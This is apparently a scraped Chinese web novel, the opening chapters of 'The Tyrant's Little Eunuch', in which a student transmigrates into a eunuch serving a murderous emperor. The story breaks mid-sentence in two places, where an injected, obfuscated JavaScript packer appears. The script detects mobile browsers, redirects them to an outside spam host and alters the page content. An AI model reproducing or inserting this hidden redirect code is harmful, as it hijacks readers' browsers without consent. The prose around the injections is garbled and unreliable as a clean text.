《暴君的小太监》 1. 穿越 “噗嗤!” 千尧在睁开眼睛之前,先听见了一道有些奇怪的声音。 像是……尖刀没过血肉的声音。 这声音一下子就让他想到了很小的时候跟着父母一起回老家过年时偶然看见过的一次杀猪。 男人们齐心协力地把要杀的猪从猪圈捉出来,然后按在长条凳上杀掉。 这种血腥的场景自然会避着不让小孩子看到,但千尧好奇心重,偷偷跑过去看过一次,虽然没有靠得太近,但还是看到有人一边抽烟一边提着尖刀,被绑着的猪似有所感,哀哀地悲鸣,但并无用处,很快便听“噗嗤”一声,然后就见白刀子进红刀子出,紧接着便是一声尖锐的哀嚎。 那声音痛苦又低亢的,持续许久后才重新归于一片平静。 不过无人在意猪的痛苦,很快那股安静很快就被人们的声音打破,男人们围在一起放血割肉,女人们则讨论每个部分的做法,年纪稍小的一点的则在开心要有猪肉吃了。 那道声音莫名勾起了千尧的回忆,但他明白这应该不是在杀猪。 因为周围实在有些太静了,静得简直有些诡异。 嗅觉是第二复苏的器官,千尧刚有了些感知,便感觉到一股浓郁的气味钻进他的鼻腔,以迅雷不及掩耳之势充斥了他整个身体。 很浓郁的血腥气。 ……血。 他这是把头磕破了吗? 千尧一边想一边努力睁开眼睛,然而刚一动作便是一阵头晕,紧接着一股痛意自头顶蔓延开来,疼得他忍不住闷哼了一声。 “倒霉。”千尧一边睁开眼睛一边努力撑着身体爬了起来,旁边似乎是一个柱子,他就这么靠了上去。 头依旧很晕,因此身体的每一个部位都反应得很迟钝。 连睁眼这一个小小的动作都花了他很大的力气。 终于,千尧睁开了眼睛。 睁开眼睛后的第一感觉是暗,屋内的光线看起来昏昏沉沉的,而且还是暖黄色的灯光。 怎么回事? 浴室的灯不是白的吗? 而且,他们浴室的预屋顶什么时候变得这么高了? 大概是摔倒时磕到头的缘故,千尧的头脑运行得十分迟缓,还没等他反应过来就感觉到手中黏黏糊糊地沾着什么东西,触感粘腻,味道也不好闻,因为太过浓郁,甚至有些令人作呕。 千尧缓了缓,这才有劲儿低头看去,因为光线太暗,因此他花了片刻才终于看清,等他看清那是什么,后背倏然生出一丝凉意。 随即好像一道闪电劈过脑子,整个人瞬间清醒。 这是……血。 地上铺着厚重的暗金色地毯,而此时地毯上渗透了一块又一块的血迹,大部分血迹已经干涸,但仍有不少仍在流淌,一条条血水小溪一般流动,汇聚在他面前,沾湿了他的手心。 千尧愣愣地看了片刻自己的手心后,这才终于意识到了什么一般抬头向四周看去,随即瞳孔瞬间放大。 尸体,周围全都是尸体。 他们身上穿着古人的衣服,侍卫太监官员歪歪斜斜地躺在地上,姿态各异,唯一相同的是面上都无一例外地透着惊惧。 我……去。 恐惧像是一只手,用力地攥紧了他的心脏,千尧还以为自己会尖叫,然而并没有,喉咙像是缺水一般发紧,根本发不出一丝声音。 不用照镜子千尧都知道自己现在的面色应该和地上的这些人一样惊恐。 这是什么情况? 他不是在宿舍洗澡?怎么一睁眼就到这儿了?这是哪儿?室友是联系了什么节目组整蛊他吗? 千尧一边想一边低头看去,然后就见自己穿着一身青色的古人服饰,身旁还有一套碎了的茶盏,整个人正无力地靠着一根很粗的柱子。 暗红色的柱身足足有一人宽,刚好将他挡住。 这里不是他宿舍的卫生间,而是一个巨大的,装饰奢华的宫殿。 殿宇两侧放着电视剧里才看见过的矮桌,似乎正在举行什么宴会。 但此时,只剩下一具具姿态各异的尸体横陈于桌前。 这到底是怎么回事? 千尧只觉得自己的世界观遭受了巨大的冲击,作为一个从小生在和平年代的人来说,哪里见过这种阵仗,一时间只觉得两股战战,差点又晕了过去。 这到底是怎么回事儿? 他不是在宿舍洗澡吗?怎么会突然出现在这里? 还有为什么这里这么多尸体?他是不是得赶紧报警? 想到这儿千尧赶紧摸兜,然而找了一圈也没找到手机。 也是,他衣服都被人换了哪儿来的手机?所以这到底是不是整蛊? 整蛊是千尧此时此刻唯一能想到的合理的解释。 但很快这唯一的答案也被他自己否定。 怎么可能是整蛊?谁会为了整蛊他而弄出这么大的阵仗,更何况这实在是没有道理。 冷静,冷静。 千尧一边继续找手机一边回忆之前的事,晚上的时候他去卫生间洗澡,洗到一半因为地滑不小心摔了。 然后一醒来就这儿了。 所以肯定不会是整蛊,他那一下摔得不轻,直接眼前就黑了,这种情况就算被室友发现也是先打120而不是整蛊他吧。 难道是…… 在摸遍全身上下都没有找到手机后,一个更加荒谬的念头就这么闯进了他的脑子里。 他难道是……穿越了? 当所有的合理解释都无法解释通之后,这个想法再荒谬他也只能只能认了,毕竟除此之外他实在是再也想不出任何理由了。 可是为什么他会穿越啊?他只是一个平平无奇的男大学生啊。 虽然有时候也会口嗨穿成谁谁谁建功立业,但苍天明鉴,他只是口嗨啊。 所以他这是穿成谁了? 千尧低头看起了自己身上的衣服,看模样有点像是太监,但这也看不出什么,于是强忍着恐惧去看一旁穿着官服的尸体,试图辨认出这是哪个朝代的衣服。 然而看了半天才发现根本认不出,简直丢文科生的脸。 不过这也不是什么重要的事,重要的是他穿进了新的身体,那他以前的身体怎么办呢?他晕倒的时候还光着呢。 会被室友看光的吧。 看光的无所谓,重要的是他们把他从浴室抬出去的时候应该会给他穿件衣服吧。 应该……会吧? 千尧突然有些不确定。 算了,别想了。 还是先搞清楚这是什么情况吧。 虽然不知道这里到底发生了什么,但千尧也能明白此地不宜久留,因此扶着柱子想要爬起来先观察一下四周的情况,如果安全的话先逃离这里。 谁知刚一动作就听见了一道略带嘲弄的笑声。 只是极低的一道气音,但因为四周实在是太过安静,因此足够千尧听清,像是一道男声。 想到这儿千尧偷偷探出了一点脑袋,原本想观察一下情况,谁知刚探出头去,便不偏不倚地正对上了一双眼睛。 那是一双很特别的眼睛。 眼形极美,纤长流畅,像是名家水墨一气呵成的一笔,只是瞳仁奇特,一红一黑,看起来有些诡异,然而却不损其美貌,反而更添几分异域之美,原本上挑的眼尾因笑微弯,然而虽是在笑,眼中却没有任何笑意,看人时眸色冷凝,犹如煞神。 千尧只是看了一眼,便被那人身上的气势压得差点腿软下跪。 这是谁? 千尧直觉自己现在应该离他远一点,但在场似乎只剩下了他们两个活人,因此千尧还是大着胆子又看了他一眼。 然后就见男人头戴冕冠,穿着黑红长袍,衣摆用金线绣以五爪龙纹,高坐于不远处的金椅之上,因为衣服过暗,所以一开始千尧并没有发现他身上的血,直到看见了他撑着侧颊的手,上面满是鲜血,像是一尊杀神。 而他面前跪着一个人。 刚才千尧整个人都被金椅上的男人所吸引,因此并没有仔细看,现在才发现他面前的人并不是跪着,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769232|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被一把长剑从喉间贯穿,硬生生被钉进了地面。 千尧突然想起了还没睁眼时所听到的那声,“噗嗤。” 像是尖刀没过血肉,然而他却没有听到任何叫喊声。 “咕咚。” 耳边的声音似乎突然放大,千尧清清楚楚地听见了自己咽口水的声音,明明那把剑没有穿过自己,他却依旧感觉到了喉咙一痛。 那人似乎也没想到还有人活着,异瞳的眸子静静地望了他片刻,然后突然冲着他笑了。 只是一个简单的笑,千尧却从他身上感受到了比周围满是尸体还恐怖的气息。 身体像是在给他发出预警,不断释放着快点逃走的信息。 千尧接受到信号,手脚并用地想要从地上爬起来,然而浑身上下的力气仿佛在一瞬间被人抽走,他像是被定在了原地。 只能眼睁睁地看着那人起身,抬起沾满鲜血的手从跪着的人的喉咙里拔出拿把长剑,鲜血再没了阻拦,瞬间喷涌而出,早已冰冷的尸体这才软趴趴地倒地。 “刺啦——” 只有矮桌两侧铺了地毯,而正中间处没有,只是铺以红砖,因此千尧可以很清楚地听见刀尖划过地面时那令人胆寒的声音。 “刺啦——” “刺啦——” 一步步向他靠近。 千尧觉得自己快碎了,理智告诉他现在爬也要赶紧往外爬,然而不知是那人身上的气势太强还是周围的一切太过骇人,远远超过了他能承受的范围,千尧只能软塌塌地跪在原地,手脚软到没有一丝力气。 别说逃跑,他甚至无法挪动一分一毫,只能眼睁睁地看着男人一步步向他走了过来。 不是,这到底是什么情况?和小说里写的不一样,他怎么一开局就是地狱。 怎么办?身体动不了只能靠大脑飞速运转。 他可是现代人,要运用现代人的智慧,冷静,冷静。 怎么才能在这么短的时间里给出一个让他不杀自己的理由啊? 眼睛,从他眼睛入手,正常的中国人怎么会有红眼睛?肯定是有病,红眼病?说出来会被打死吧,直接想治疗方案,对治疗方案。 但他哪儿会治啊,他又不学医。 这种情况就应该让医学生来穿啊。 他只是一个平平无奇的中文生。 那用他的专业该怎么自救呢? 写诗? 根本不会。 用修辞手法赞美一下他的眼睛? 感觉他会多给自己几剑的样子。 还没等他想到对策,就听见那道令人胆寒的“刺啦”声已经到了他的面前。 千尧第一次体会到了什么叫肝胆俱裂,头都不敢抬起,只是死死闭着眼睛。 算了,等死吧,认命。 但能不能别从喉咙刺啊,看起来真的很疼。 然而下一秒便事与愿违,有什么抵住了他的喉咙。 那冰凉的触感直接把千尧的大脑激得一片空白。 灵魂好像短暂地远离了身体,有一瞬间他甚至意识不到自己的存在。 脑子死机一般不会运转,只剩下了…… 富强、民主、文明、和谐…… 虽然不知道为什么生命的最后一刻脑子里想的居然是社会主义核心价值观。 但背了一下居然感觉好像真的好了些。 然而下一秒,他就感觉到抵在他脖子上的长剑向前进了一寸,似乎划破了肌肤,剑身上有什么正在缓缓低落,和他的血混在了一起。 这下千尧的大脑彻底宕机,连社会主义核心价值观也没了。 “英雄……”千尧不知用了多大的力气才从喉咙中挤出这两个字。 原本想要说“英雄饶命”求饶。 然而不知是声音太小英雄没听见,还是英雄不想听,直接打断了他的话。 抵在他脖子上的剑又向前进了一寸,紧接着一道不含任何感情的声音从他头顶响起。 “什么是……民主?” 千尧:……嗯? 2. 你去 千尧闻言悄悄睁开眼睛,入眼处是一把被鲜血染红的长剑,正抵着自己的脖颈。 他抬起头,然后就见面前的人正垂眸望着自己。 那双异瞳的眸子太过凌厉,像是能直接透过眼睛看进他的心里,因此千尧根本不敢与他对视,立刻重新低下头去。 近乎停滞的大脑因他的话而重新运转。 他问了什么? 民主,对,什么是民主? 这个词不是《尚书》就有了吗?只不过那个时候的民主和现在的民主含义不同,是君主应以民为本的意思。 现在则是人民拥有主权。 但现在好像说哪个都不太合适。 毕竟从目前的情况来看,这人就算是皇帝也应该是暴君昏君之类的君主,应该不会喜欢什么以民为本的解释。 要是说人民拥有主权,感觉下一秒脖子上的剑就能直接穿过去。 但为什么会突然问自己这个? 千尧的目光略过周围的尸体,一个更加荒谬的想法不受控制地涌出。 根据他纵览网文多年的经验,或许这其实不是什么穿越,而是他被拉进了一个无限流游戏? 面前的人就是副本的大boss。 他会对每个人提出问题,一旦答不出就会被残忍地杀死。 而且他问的还是和国学有关的知识,所以才挑了中文系的自己过来答题吗? 还挺合理。 大概是他太久不说话,面前的人似乎等得有些不耐烦,头顶突然传来一声低低的,“嗯?” 紧接着颈侧的剑又进一寸,血肉被毫不留情地戳破,温热的液体开始流出。 疼疼疼疼疼…… 千尧差点没忍住喊出声,不敢再拖延,大脑飞速运转,给出了一个他目前能想到的最完美的答案。 “民之主,是民之主的意思。” 千尧一边说一边抬起头来,努力让自己的答案听起来合理。 “君乃天之子,乃人间地位至高者,亦是民之主,简称,民主。” 千尧一边说一边大着胆子抬头,目光再次落在了面前人身上的五爪龙纹上,虽然和他在电视上看过的不同,但这应该就是龙袍无疑,所以面前人的身份应该就是皇帝。 既然是皇帝的话,他这个回答应该能让他满意吧。 然而不知为何,面前的人听了他的话后不知为何眉头微拧,像是痛到了极致一般突然抬起左手按上了太阳穴。 不满意吗? 千尧一颗心直接坠到了谷底,正想着自己肯定死定了的时候,却见面前之人握剑的手不知为何一颤,紧接着剑身跟随着他一起微微颤抖。 千尧看着面前的场景只觉得一颗心跟着抖了起来,生怕下一秒面前的剑就刺进了他的身体。 好在并没有,相反,只听“哐当”一声,一直抵在自己脖颈上的剑不知为何突然掉在了地上。 紧接着那人再次抬手按住了太阳穴,虽然极力隐忍,但千尧还是在他的脸上看到了痛苦的表情。 “你没事儿吧?”千尧吓了一跳,连忙开口问道。 然而面前的男人并没有回答,像是陷入了什么梦魇。 许久,才回了神,额间已经全是冷汗。 直到这时那男人似乎终于听见他说了什么一般,抵着太阳穴的重新手垂下,紧接着低头看向他,淡漠的眸子一瞬不瞬地望着他。 嘴角露出一抹古怪的笑意,“不是都希望我死吗?” “什么?”千尧有些不解。 “没什么。”那男人不知为何像是突然被抽走了所有的力气,再也支撑不住一般转身向外走去。 很快,宫殿的大门被打开。 新鲜的空气涌入,一点点驱散着宫殿里的血腥气。 紧接着,无数宫女侍卫打扮的人鱼贯而入。 他们似乎对于殿内的一切都已经习以为常,没有人发出声音,也没有人表现出任何异样,只是安静地将地上的尸体搬运出去,然后将大殿打扫干净。 一盆盆的清水泼在地上,将满地的血水一点点冲刷干净。 没有人和他说话,甚至没有人看他,就像他根本不存在一样。 如果不是咬了一下舌尖还会疼,千尧甚至还以为自己刚才已经死了。 这到底是什么地方?现在又是什么情况?实在是太诡异了。 千尧不知道该去哪儿?但潜意识不想呆在这里,于是起身向外走去。 外面的建筑更加明显,一看就是古代皇族所居住的宫殿,再加上周围宫女侍卫的打扮,所以这里应该就是皇宫无疑。 这也更加印证了他的猜测,刚才那个人就是皇帝。 所以现在到底是什么朝代?他到底是穿越了还是在无限流世界里闯副本呢? 千尧想不明白,只是低头看向自己身上的衣服,所以他真的是太监吗? 还没等他想清楚,手腕便被人扣住,千尧吓了一跳,还没来得及出声就被一个人拉到旁边的僻静处。 紧接着,一个人便扑进了他的怀里。 “太好了,你还活着,吓死我了,我还以为你死了……” 怀中人的声音让他不由一愣,迅速明白了过来这应该是认识自己的人,于是立刻低头看去。 然后看见了一个圆溜溜的脑袋埋在他的怀里。 怀里的人比他矮一点,看起来只有十几岁的模样,穿着和他一样的青绿色太监服,一双眼睛哭得通红,眼中对于他劫后余生的惊喜藏都藏不住。 这种反应看起来关系应该不是一般的熟悉,但千尧穿过来后并没有继承原主的记忆,因此根本认不出面前的人是谁。 这种情况也不等直接问,因此只能少说话,毕竟说多错多。 因此他只说了句“万幸”就沉默了。 “确实万幸!”怀里的人简直像个小npc一样,立刻竹筒倒豆子一般把他想知道全部说了出来,“谁能想到七皇子会突然谋反啊!真是不要命,带那么点人就敢刺杀陛下,当今陛下可是从刀山血海中拼过来的,更何况身边还有寒刃司,就凭七皇子也想把陛下从皇位上拉下来,简直自不量力,果不其然陛下连禁军都没调就解决了,听说乾明殿已经血流成河了,你怎么逃出来的?我听说今日殿中所有人都被陛下处决了。” 千尧听完了他的话大概明白了事情的来龙去脉,怪不得那么多尸体,原来是谋反啊。 难怪所有人都死了,想起刚才殿中的画面,千尧忍不住又打了个寒颤。 “我……”千尧不知道该怎么说,因为他也不明白为什么那个人突然放过了他,他原本以为自己也要死了。 “怎么了?”面前的小太监似乎意识到了什么,一脸担心地望着他。 “没什么。”两人的关系看起来实在是太熟了,如果不想个借口糊弄过去以后肯定会被发现这具身体里的灵魂已经换人了。 但是该怎么说呢? 千尧脑子里立刻开始回忆自己看过的无数网文,只能先装失忆了。 于是“嘶”了一声,突然抬手捂住了额头。 “怎么了?”面前的小太监见状更加担心。 “没什么,就是……我好像被人推了一下,然后撞到了柱子上晕了过去,等醒过来的时候一切都已经结束了。” 千尧努力编了个不那么离谱的理由,本来还有些担心,没想到面前的小太监立刻信了。 “是吗?有没有伤到哪儿了?” “没有,就是撞到头了,好多事情想不起来了。” “啊?”小太监更加担心,“那你现在还记得什么?” 千尧摇了摇头,“什么都不记得了。” “什么都不记得了。”小太监望着他,眼中更加担心,“你这种情况是不是要看看大夫啊,只是……” 虽然不是原身,但千尧也能明白,他现在的身份是太监,哪儿有资格看什么大夫。 于是连忙宽慰道:“没事,可能只是一时撞狠了,说不定过段时间就好了。” 小太监依旧担心,但也没什么办法,因此只能说道:“但愿如此吧。” “但没了记忆总归不便,所以你能不能先大概给我讲讲有关我的事。” “好啊,你想知道什么?” “我……叫什么名字?” - 千尧跟着小穗子来到了御茶房。 “这儿就是你待的地方。”小穗子说着从袖子里掏出一小包点心,“宫里不能随便走动,我就不陪你进去了,你自己回去吧,这是我师父偷偷给我的,我没吃,全给你带来了,结果就听说你去了乾明殿当值。” 小穗子说到这儿眼眶又红了,“我还以为你吃不到了,还好,你还活着。” 千尧没有之前的记忆,因此对于面前的人没有那么多的感情,但也能感觉到他对自己的真情实意,心中不免动容,于是伸手接过糕点,真心说了句,“多谢。” “跟我还客气什么,时候不早了,我也先回去了,你有空去御膳房找我,我偷偷给你拿好吃的。” “好。” 小穗子说完便一步三回头地向御膳房走去,千尧则站在御茶房门口,看着他的背影彻底消失,这才转身向内走去。 手中的糕点被他收到了袖子里,倒不是怀疑什么,而是刚才在乾明殿内看见了太多尸体。 鼻腔里的血腥气似乎还没散去,如有实质一般从喉咙堆进了他的身体,让他不受控制地感到恐惧和恶心,根本吃不下任何东西。 “千尧。” 千尧刚进来,就见一个小太监匆匆朝着他走了过来,看着他的眼神十分怪异,半是嫉妒半是惊疑,“马公公叫你过去。” 千尧自然认不出他是谁,但还是乖乖应了一声,“好。” 毕竟通过小穗子刚才的话,他也明白自己现在不过是御茶房里一个低等小太监。 只是名字和他一样,依旧叫千尧,因此千尧没有任何违和感。 “快点。”小太监似乎很着急,脚步匆匆地把他带到了一处厢房里。 到了门口,小太监轻轻敲了敲门,然后恭敬道:“公公,千尧带来了。” “进。”里面很快传来一道尖细的声音。 小太监这才推门把他带了进去。 进门后是一间不大的正厅,一个白面中年太监坐在正中间的椅子上,他身上的太监服比千尧身上精致了许多,像是有品级,花纹也更加繁复。 千尧不知道他为什么找自己,但也只能既来之则安之,于是学着旁边的小太监对着马公公行了个礼,然后静静地等着他吩咐。 “你先下去。”马公公对着给他引路的小太监道。 “是。”小太监闻言立刻退了出去,还帮他们带上了门。 千尧看到这个架势心中莫名有些慌乱,更加不明所以。 为什么要关门啊?有什么重要的话要和他说吗?他一个小太监能有什么重要的话? “千尧啊千尧。”下一秒就见马公公突然露出一个笑,然后起身走向他,“我以前怎么没发现你这么有能耐呢?” 这话怎么听起来有些不妙? 原主又干什么了? 千尧只觉得自从醒来之后自己的心就一直悬在嗓子眼没有下来过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769233|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他不知道发生了什么,只能傻兮兮地陪了个笑。 “今日乾明殿发生了那样的事,所有入内的人都死了,偏偏只有你活了下来,你不仅活了下来,还被调到了御前,这可是陛下亲下的口谕。” 千尧听到这儿瞬间明白了他的意思,刚才用剑抵着他脖子的那个暴君把他调到了御前,也就是说他以后得去伺候暴君。 明明还是白天,有一瞬间千尧却觉得有一瞬间眼前黑了下去。 马公公并没有发现他的异常,还在继续,“御前伺候,那可是上上荣宠,别人求都求不来的福气,你去了之后可要好好伺候陛下,别丢了我们御茶房的脸,自然……若是将来飞黄腾达也别忘恩啊。” 千尧真的很想把这福气让给他,但也明白这根本不是自己能拒绝的,更明白马公公的意思。 因此强忍着崩溃道:“公公大恩大德,自是不会忘的。” “那就好,快回去准备准备吧,一会儿就有人接你去御前。” “是。”千尧说完便退了出去。 这个消息的惊吓实在太大,因此刚出了马公公的房门便有些绷不住,扶着墙才没有让自己倒下去。 刚才的小太监还守在门口,见他出来了,语气半是嫉妒半是酸,“高兴疯了吧,大难不死必有后福,这种好事还真落到你身上了。” 千尧想起刚才那个男人就会想起乾明殿中的景象,而自己现在还要去他身边伺候,想到这儿千尧便觉得气短腿软。 “你怎么了?”小太监本以为千尧会得意,没想到他却只是扶着墙站着一动不动,面色苍白如纸,反而看着像是生了病。 “没什么。”千尧摇了摇头,抬头看着不远处的小太监,这才想起来马公公还让他去收拾东西,可他连自己住的地方在哪儿都不知道,原本还有些一筹莫展,但现在看见他却突然有了主意。 于是冲他招了招手。 小太监看见他的动作心中立刻来了火气,今天之前他们还是一样的,短短一天时间,千尧竟然已经可以伸手招呼自己。 但想到他马上就要去御前了,还是强忍了火气,走过去粗声粗气地问道:“干什么!” 下一秒就见千尧搭着他的肩膀,整个人靠在了他的身上。 “我有点不舒服,你能不能扶我回房?” “你……” 小太监有点想骂人,大家都是伺候人的太监装什么娇气,但转头一看千尧的面色,又觉得他不像是在说谎。 于是勉强道:“行吧,你怎么了?” “头疼。”千尧回道。 “好端端的怎么会头疼?”小太监一边扶着他向后院的庑房走一边问道。 “不小心磕柱子上了。” “不小心?” 小太监刚想嘲讽他怎么这么不小心,但转念一想今日乾明殿的事,正常情况下怎么可能磕到柱子上,一想到这儿瞬间明白了什么,没再问下去。 之后的一路小太监都没再说话,把他送回了房间,又把他扶到了床上。 小太监送完他原本是想要离开的,但看他实在不舒服,干脆帮他把行李收拾了。 千尧住的是通铺,拥有的东西一目了然,根本没什么好收拾的,因此就装了一下被褥。 尽管如此,千尧还是很感谢他。 “谢谢。” 小太监依旧没什么好脸,十分傲娇地回了句,“嗯。” 然后便走了出去。 千尧则坐在原地,盯着自己的行李愣神。 不知过了多久,房门突然被人打开,紧接着又一个小太监走了进来。 他穿的太监服制和他们都不同,是红色的。 小太监看起来年纪不大,气势却很足,望着他道:“你就是千尧?” 这应该就是来接他的人,因此千尧点了点头回道:“是。” “那就跟我走吧。” 千尧想到一会儿要面对的人,只觉得腿又开始软。 但还是强撑着站起身来,提起行李跟他一起向外走去。 皇宫的路弯弯绕绕,不知走了多久前面的小太监才终于停了下来。 把他带到了一个房间,“这里以后就是你的住所,你睡最右。” 这里和刚才他在御茶房住的地方差不多,依旧是通铺,只是人数明显少了很多,看样子一个屋子只有三个人住。 千尧听话地把行李放到最右侧的床铺铺好。 然后就听小太监说道:“走吧。” “去哪儿?”千尧连忙问道。 然而小太监并没有回答他,只是带着他不断向前,又绕过许多宫殿后,他们在一处殿宇前停下。 千尧抬头看了一眼,门上挂着一副气势恢宏的牌匾,上面刻着三个字繁体的字样。 思明殿。 这是哪儿? 还没等千尧想明白,那个小太监便走了进去,里面几乎每走几步就守着一个宫人或太监。 一直走到最里面,最里面看起来是一间书房,而今日乾明殿内见过的那个男人正坐于御案前。 他身前跪着一个穿着朝服的男人,正在汇报着什么,但因为距离太远,所以听不清具体的内容。 千尧还没明白自己为什么会被带到这儿,就见带他来的那个小太监从旁边宫人的手里端过一个茶船放到了他的手里,茶船上还放着一盏冒着热气的茶。 然后对着他说了一声,“你去。” 千尧十分茫然,去哪儿啊? 还没反应过来,就感觉身后有人微微用力,把他推进了书房里。 千尧:“……” 3. 完了 千尧端着茶进了书房。 他真的很想骂人,这儿真的是皇宫吗?也太随便了吧,员工不培训一下就直接上岗吗? 虽然只是奉个茶,但应该也有奉茶的规矩吧,可他什么都不知道啊。 今日崩溃的事实在太多,因此千尧惊觉自己似乎已经习惯了,内心没了刚发现自己穿越时的风起云涌,只是很平静地回忆起以前看的古装剧,然后学着里面太监奉茶的样子走上前去,半躬着身子把茶递到了皇帝面前。 然后……他没接。 甚至没有看他一眼,只是一边继续低头批着奏折,一边听大臣汇报事情。 因为离得近的缘故,千尧终于听清了大臣在说什么。 “明面上与七……谋逆之人有关者皆已入狱,其余相关者也已经在调查中……” 是在说今日的谋逆之事。 千尧不禁又想起了大殿上血流成河的场景。 以及……眼前的男人。 他已经换了一身衣服,比起在大殿时的正式,此时穿的更像常服,但依旧是黑红之色,衣摆处以金线绣以五爪龙纹,无一处不在凸显着身份的贵重。 他看起来神色比在乾明殿内好了许多,面色没有那么难看,只是眉头依旧微蹙,左手不知有意还是无意,轻抵着太阳穴。 “谋逆乃是极刑之罪,罪无可恕,但此事光是主要牵涉之人已经成百,更遑论再加上其余,若全部株连,人数不下上千,不知陛下之意是……” 大臣说完后就沉默了下来,似乎在等待着面前人的定夺。 可他并没有出声,只是依旧批着面前的奏折。 鲜红的朱砂落于纸上,让人无端联想起暗红的血。 皇帝没有出声,大臣自然不敢说话,一时间书房内安静得没有一丝声音。 然而就在这时,千尧却突然听见了几声极快的振翅声。 千尧循声望去,这才发现不远处竟然挂着一只纯金的鸟笼。 一只小鸟正在里面扑腾,只是脚上挂着一只小巧的锁链,无论怎么也飞不出去。 千尧本以为这里是皇宫,养的定然是什么名贵的鸟,然而细看过去才发现并不是,里面关着的竟是一只灰扑扑的麻雀。 麻雀?居然有人养麻雀? 还没等他想明白就听“啪”得一声。 周围太过安静,因此即使声音并不大,但还是足够屋内的所有人听清。 千尧回过神,然后就见面前的男人不知何时将手中的朱笔放回了笔架。 然而手却没有收回去,手指有一搭没一搭地点着白玉的笔身,像是正在思考着什么问题。 跪在地上的大臣似有所感,略带悲悯地喊了句,“陛下……” 下一秒,一直沉默的男人终于有了声音。 “杀。” 虽然早已经见识过了面前人的暴戾,但千尧还是再次被他的残忍震撼到了。 毕竟谁都明白,这轻飘飘的一个字下蕴涵着多少生命。 千尧的手不受控制地抖了一下。 茶盏与杯身随着他的动作轻碰,发出了一声极细碎的响,紧接着一滴茶水从里面落了出去,在茶船上氤氲出一小片浅淡的痕迹。 千尧几乎是在下一秒便立刻重新端稳了茶船,但还是引起了面前人的注意。 一道目光转了过来。 明明没有学过任何这里的规矩,但千尧竟近乎本能一般立刻跪了下来。 然而跪下之后才发现这一步做得有多错。 因为他的动作,茶水洒得更多。 原本一小片的痕迹不断扩大,哪怕千尧拼命控制,但手还是抖得更狠了。 “扑通。” “扑通。” 外面的宫女太监不知为何比赛一般也跟着跪了一地。 不远处的麻雀似乎也意识到了什么,停了了所有的动作待在笼子里一动不动。 整个书房彻底安静了下来。 完了。 千尧看着自己控制不住一直抖的胳膊,脑海里只剩下了这两个字。 当然也怪不得他的胳膊,因为他很快发现并不止胳膊,自己全身上下都在抖。 手中的茶已经洒得不成样子。 千尧自暴自弃地闭上眼睛,生怕下一秒就听见一句“杀”出现在耳朵里。 然而没有想到的是,他想象中的事并没有发生,一只素白的手出现在他的视野里,然后端起了面前的茶。 这是一双很好看的手,手指修长却不文气,大概是常年习武的缘故,手上落了很多陈年的旧疤,然而却并不破坏美感,反而更添了几分英武之气。 这是…… 千尧有些惊讶地抬起头。 然后就见面前的男人端起茶盏喝了一口,随即眸子向下,眼神落在了他的身上。 “凉了。” 千尧这次反应得快了一点,连忙道:“我……不,奴才再去给您换一杯。” 说着便想起身,但站起身后发现周围其他人都没动,一时间不知道自己该不该动,犹豫了一下又重新跪下。 然而刚跪下就听一道声音从头顶传来,“好。” 紧接着,凉透了的茶又被放了回来。 杯身落在茶船上发出一声沉闷的响,千尧端着茶船的手又不受控制地抖了起来,但还是努力克制着起身换了茶。 等他换了新茶回来,刚才书房里的大臣已经退下。 只剩下龙椅前的那人在批奏折。 千尧连忙走过去,一时间不知道该跪还是该站,犹豫片刻还是跪下,然后双手举高奉着茶。 然而这次面前的人却没有再喝,也没有理他,像是没有看见他,又像是故意折磨他。 很快,茶又凉了。 胳膊举到酸麻,可是千尧却不敢放下,只能咬牙硬撑。 一直撑到最后实在撑不下去快哭了的时候,面前的男人才终于有了动作。 一边放下手中的朱笔,一边端起茶船上的茶。 然后看了过来。 被打量的感觉并不好,更何况打量他的还是刚一穿过来就给他留下深刻印象的暴君。 虽然千尧一直低着头,但还是能感觉到他的目光,如有实质地一寸寸略过他的肌肤,像是毒蛇吐着信子,在挑选最适合攻击的时机。 千尧不知道他为什么突然这么看着自己,只是更加低下了头去。 颈侧被划破的肌肤还来得及包扎,好不容易刚刚结痂,然而此时却又随着他的动作又渗出了丝丝缕缕的血,蜿蜒向下,没进了还没来得及换下的青绿色太监服里。 岐岸的目光随着那道血痕不断向下。 他放下手中已经凉透了的茶盏,静静地望着面前的人。 一个太监而已。 皇宫里的太监如同地面终日蝇营狗苟的蚂蚁,多到数不尽,因此除了贴身的几个太监外,岐岸根本不会记得其他太监的脸。 因为这宫里所有人都是一样的,奴颜媚骨,卑躬屈膝,低眉顺眼,明明都是不同的人,却像是拥有同一张脸。 可是今日,他却在一个太监的身上感受到了不同。 彼时寒刃司刚血洗过乾明殿,按理说不该有活口,可是他一抬头就看见了这个小太监。 小太监看起来十几岁的模样,白嫩瘦弱,干净漂亮,和周围的血腥格格不入,眼中满是惊慌,像一只兔子误入了猎场,看起来还没弄清楚周围的状况。 很可爱,但注定不能留下。 虽然他那个废物弟弟谋反之事迟早天下皆知,但这也并不意味着他希望这世上还留有亲眼见证过今日之事的证据。 毕竟皇家……最重颜面。 于是他抽出面前的剑,提剑向他走去。 虽然说出来定然无人相信,但岐岸不喜欢杀人,他只是享受濒死之人的恐惧。 看着那些人跪地求饶,抖似筛糠,涕泗横流,求起饶来一个比一个拼命,一个比一个真心,可是只要听到他们的心声,就会发现都是假象。 嘴上求得有多可怜,心中骂得便有多疯狂。 